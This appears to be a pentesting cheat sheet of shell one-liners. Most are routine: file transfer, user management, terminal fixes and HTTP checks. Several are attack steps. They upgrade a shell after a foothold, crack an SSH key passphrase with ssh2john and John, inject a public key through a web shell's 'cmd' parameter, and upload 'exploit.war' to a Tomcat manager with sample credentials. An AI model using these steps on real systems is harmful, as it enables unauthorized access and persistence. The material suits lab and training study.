Functional Commands (Quick Ops)

Practical commands for shell interaction, file transfer, user management, auditing, searching help, credential cracking helpers, SSH key usage, IDs, and HTTP actions (curl/wget). Includes corrected syntax and a few essential additions.

Shell / interactive sessions

```
python -c "import pty; pty.spawn('/bin/bash')"
```
Spawns a fully interactive TTY-like bash shell (better job control, tab completion, and stable interaction after getting a basic shell).

Web requests / grabbing URLs

wget -i url.txt -o /dev/null

Reads URLs from url.txt and fetches them; logs to /dev/null (silent logging).
Common useful variants:

wget -i url.txt -O /dev/null     # discard downloaded bodies
wget -S -O /dev/null URL         # show response headers

Remote desktop

```
rdesktop <ip>
```
Connects to a Windows RDP service on the target IP (older RDP client).
Common options:
```
rdesktop -u USER -p PASS <ip>
rdesktop -g 1280x720 <ip>
```

File transfer (SCP)

```
scp /tmp/file user@x.x.x.x:/tmp/file
```
Uploads /tmp/file to the remote host into /tmp/file.
```
scp user@remoteip:/tmp/file /tmp/file
```
Downloads /tmp/file from the remote host into local /tmp/file.

Useful options:

scp -P 2222 file user@host:/path     # non-default SSH port
scp -r dir user@host:/path           # recursive copy

User management

```
useradd -m user
```
Creates a new user named user and creates a home directory (-m).
```
passwd user
```
Sets or changes the password for user user.
```
userdel -r username
```
Deletes the user account; -r removes the home directory and mail spool.
(rmuser is not standard on most Linux; userdel is the common command.)

Command/session recording

```
script -a outfile
```
Records the terminal session to outfile; -a appends.
Exit/stop recording with Ctrl-D or exit.

Discovering commands / docs

```
apropos subject
```
Searches man page descriptions for keywords related to subject.

History usage

```
history
```
Displays command history for the current shell.
```
!num
```
Executes the history entry with number num (example: !42 reruns command #42).

SSH key passphrase extraction/cracking helper

```
ssh2john.py id_rsa > ssh-key
```
Converts an SSH private key (id_rsa) into a hash format that John the Ripper can process; writes to ssh-key.
```
john ssh-key
```
Attempts to crack the passphrase/hash stored in ssh-key.
```
ssh -i id_rsa user@ip
```
Connects to ip using the specified private key; will prompt for the key passphrase if encrypted.

IDs (user/group)

```
id -u
```
Prints the numeric UID of the current user.
```
getent group GROUPNAME | cut -d: -f3
```
Prints the numeric GID for GROUPNAME.
(The version with process substitution works too, but this is simpler and portable.)

curl (GET with URL encoding)

```
curl -G 'http://example.com/file.php' --data-urlencode 'cmd=echo ssh-rsa AA...........'
```
Sends a GET request where the cmd parameter is URL-encoded safely. -G tells curl to put the data on the query string.

curl (authenticated upload)

curl --user 'tomcat:$3cureP4s5w0rd123!' --upload-file exploit.war "http://megahosting.com:8080/manager/text/deploy?path=/exploit.war"

Uses HTTP Basic Auth to upload a file via HTTP PUT to the given URL (commonly used with Tomcat Manager endpoints when permitted).

Important additional functional commands

Better interactive shells / terminal fixes

python3 -c "import pty; pty.spawn('/bin/bash')"

python command but for python3.

```
stty -a
stty rows 40 cols 120
```
View/fix terminal dimensions when shells behave oddly.

Safer/more flexible file transfers

```
rsync -avP file user@host:/tmp/
```
Efficient copy with progress and resume-like behavior.
```
sftp user@host
```
Interactive file transfer over SSH.

Quick HTTP interaction

```
curl -I http://example.com
```
Fetches only headers (quick status check).

curl -sS -o /dev/null -w "%{http_code}\n" http://example.com

Returns only HTTP status code.

Process/service checks that pair well with these workflows

```
which python python3 wget curl scp ssh
```
Confirms tool availability and paths.
```
ss -tulpn
```
See listeners and owning processes (useful before/after starting a server or tunnel).

aw-junaid/FunctionalCommands.md

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